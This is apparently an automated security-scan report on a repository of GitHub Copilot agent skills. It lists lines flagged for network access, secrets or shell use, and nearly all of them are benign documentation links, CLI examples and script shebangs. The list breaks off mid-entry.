  • Network accessline 8
    compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: https://github.com/gooseworks-ai/g
  • Network accessline 9
    source: https://github.com/gooseworks-ai/goose-skills
  • Network accessline 215
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)

harness/github-copilot/skills/add-educational-comments/SKILL.md

  • Network accessline 45
    | Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | 
  • Network accessline 47
    | Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. |
  • Network accessline 151
    - [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)

harness/github-copilot/skills/adobe-illustrator-scripting/references/extended-guide.md

  • Network accessline 821
    - [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`)
  • Network accessline 822
    - [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation

harness/github-copilot/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/agent-governance/SKILL.md

  • Network accessline 151
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 152
    - [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 153
    - [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)

harness/github-copilot/skills/agent-owasp-compliance/SKILL.md

  • Dangerous shell operationline 55
    | ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex
  • Dangerous shell operationline 56
    | ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with
  • Network accessline 134
    - [OWASP Agentic AI Threats](https://genai.owasp.org/)
  • Network accessline 135
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 136
    - [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)

harness/github-copilot/skills/agent-skill-stack/references/security-installation.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/github-copilot/skills/agent-skill-stack/scripts/inventory_skills.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 32
    [Credential-related source omitted]

harness/github-copilot/skills/agent-skill-stack/scripts/project_profile.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/agent-skill-stack/scripts/render_stack_card.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 80
    parts = [         f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
  • Network accessline 81
    f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',

harness/github-copilot/skills/agent-skill-stack/scripts/skill_index.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/agent-skill-stack/scripts/stage_install.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/agent-supply-chain/SKILL.md

  • Network accessline 178
    - [OpenSSF SLSA](https://slsa.dev/)
  • Network accessline 179
    - [npm Provenance](https://docs.npmjs.com/generating-provenance-statements)
  • Network accessline 180
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 181
    - [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)

harness/github-copilot/skills/ai-ready/SKILL.md

  • Network accessline 21
    This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`.
  • Network accessline 94
    - [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth.
  • Network accessline 103
    - [John Papa](https://github.com/johnpapa)
  • Network accessline 104
    - [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)

harness/github-copilot/skills/anti-ui-slop/SKILL.md

  • Network accessline 2
    name: "anti-ui-slop" description: >-   Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when bu
  • Network accessline 3
    description: >-   Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, 
  • Network accessline 4
    Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, w
  • Network accessline 21
    - Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available.
  • Network accessline 42
    Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette.
  • Network accessline 148
    - [UIZZE public catalogue](https://uizze.com)

harness/github-copilot/skills/api-testing/SKILL.md

  • Network accessline 121
    - [OpenAPI Specification](https://spec.openapis.org/oas/latest.html)
  • Network accessline 122
    - [GraphQL specification](https://spec.graphql.org/)
  • Network accessline 123
    - [JSON Schema](https://json-schema.org/specification)
  • Network accessline 124
    - [RFC 9110: HTTP Semantics](https://www.rfc-editor.org/rfc/rfc9110.html)

harness/github-copilot/skills/apim-ai-gateway/SKILL.md

  • Network accessline 124
    - [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 125
    - [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy)
  • Network accessline 126
    - [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 127
    - [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)

harness/github-copilot/skills/apim-ai-gateway/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/apim-ai-gateway/references/patterns.md

  • Network accessline 13
    - APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance))
  • Network accessline 65
    az apim api import    --service-name <apim-name>    --resource-group <rg>    --api-id azure-openai-api    --path "openai"    --specification-format OpenApi    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs
  • Network accessline 69
    --path "openai" \   --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json"
  • Network accessline 70
    --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \   --service-url "
  • Network accessline 71
    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \
  • Network accessline 81
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 82
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 83
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 116
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 117
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 118
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 119
    "https://aoai-westus.openai.azure.com"
  • Network accessline 124
    }" />     <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 125
    <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 126
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 134
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 135
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 136
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 137
    "https://aoai-westus.openai.azure.com"
  • Network accessline 177
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 178
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 179
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 216
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 217
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />

harness/github-copilot/skills/apim-ai-gateway/references/policies.md

  • Network accessline 231
    <!-- 1. Authentication -->         <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 232
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 309
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 310
    - [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies)
  • Network accessline 311
    - [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)

harness/github-copilot/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md

  • Access to secretsline 17
    [Credential-related source omitted]

harness/github-copilot/skills/apim-ai-gateway/references/troubleshooting.md

  • Network accessline 17
    | Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us
  • Network accessline 18
    | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint
  • Network accessline 19
    | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) |
  • Network accessline 94
    # Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 95
    curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 212
    # Send request with tracing curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 213
    curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 256
    # 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 257
    curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 268
    - [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems)
  • Network accessline 269
    - [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics)
  • Network accessline 270
    - [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)

harness/github-copilot/skills/appinsights-instrumentation/references/AUTO.md

  • Network accessline 3
    Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/
  • Network accessline 10
    https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings

harness/github-copilot/skills/appinsights-instrumentation/scripts/appinsights.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/arduino-azure-iot-edge-integration/SKILL.md

  • Network accessline 23
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 27
    - https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/
  • Network accessline 28
    - https://docs.arduino.cc/
  • Network accessline 29
    - https://docs.arduino.cc/language-reference/
  • Network accessline 130
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 131
    - [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/)
  • Network accessline 132
    - [Arduino documentation](https://docs.arduino.cc/)
  • Network accessline 133
    - [Arduino language reference](https://docs.arduino.cc/language-reference/)

harness/github-copilot/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md

  • Network accessline 7
    - Official references reviewed from <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> and <https://docs.arduino.cc/>.
  • Network accessline 8
    - Language/API calls validated against <https://docs.arduino.cc/language-reference/>.

harness/github-copilot/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md

  • Network accessline 7
    - Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 8
    - Arduino docs home: <https://docs.arduino.cc/>
  • Network accessline 9
    - Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 10
    - Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/>
  • Network accessline 11
    - Arduino language reference: <https://docs.arduino.cc/language-reference/>
  • Network accessline 12
    - Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/>
  • Network accessline 13
    - Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/>
  • Network accessline 14
    - Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/>
  • Network accessline 15
    - Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/>
  • Network accessline 16
    - Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/>
  • Network accessline 17
    - Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>

harness/github-copilot/skills/arize-ai-provider-integration/SKILL.md

  • Access to secretsline 48
    [Credential-related source omitted]
  • Network accessline 105
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Network accessline 106
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Network accessline 107
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Network accessline 109
    | `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I
  • Network accessline 110
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 131
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Network accessline 133
    ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1"
  • Network accessline 148
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m
  • Network accessline 149
    | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use
  • Network accessline 150
    | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 215
    - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 216
    - [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/)
  • Network accessline 217
    - [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models)
  • Network accessline 218
    - [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1)
  • Network accessline 219
    - [Updated endpoint example](https://new-endpoint.example.com/v1)

harness/github-copilot/skills/arize-ai-provider-integration/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/arize-annotation/SKILL.md

  • Network accessline 27
    - Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user
  • Network accessline 29
    - If the user needs an API key, direct them to https://app.arize.com/admin > API Keys.
  • Access to secretsline 167
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 207
    | `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run 
  • Network accessline 208
    | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/
  • Network accessline 209
    | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |

harness/github-copilot/skills/arize-annotation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/arize-dataset/SKILL.md

  • Network accessline 43
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 44
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 45
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir

harness/github-copilot/skills/arize-dataset/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/arize-evaluator/SKILL.md

  • Network accessline 28
    | --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks
  • Network accessline 29
    | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct
  • Network accessline 30
    | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 86
    Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys
  • Network accessline 143
    - [Arize admin API keys](https://app.arize.com/admin)
  • Network accessline 144
    - [Arize support](https://arize.com/support)

harness/github-copilot/skills/arize-evaluator/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/arize-evaluator/references/evaluator-crud-workflows.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 423
    |---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
  • Network accessline 424
    | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` |
  • Network accessline 425
    | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |

harness/github-copilot/skills/arize-experiment/SKILL.md

  • Network accessline 29
    | `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f
  • Network accessline 30
    | Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut
  • Network accessline 31
    | API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 121
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 173
    | `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.
  • Network accessline 174
    | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil
  • Network accessline 175
    | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. |
  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 249
    - [Arize API keys](https://app.arize.com/admin)

harness/github-copilot/skills/arize-experiment/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/arize-instrumentation/SKILL.md

  • Network accessline 8
    metadata:   author: "arize"   compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https:/
  • Network accessline 9
    author: "arize"   compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/d
  • Network accessline 10
    compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for 
  • Network accessline 28
    Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T
  • Network accessline 34
    > Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed.
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 111
    The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs.
  • Network accessline 113
    - **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 114
    - **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in
  • Network accessline 115
    - **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/
  • Network accessline 116
    - **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia).
  • Network accessline 117
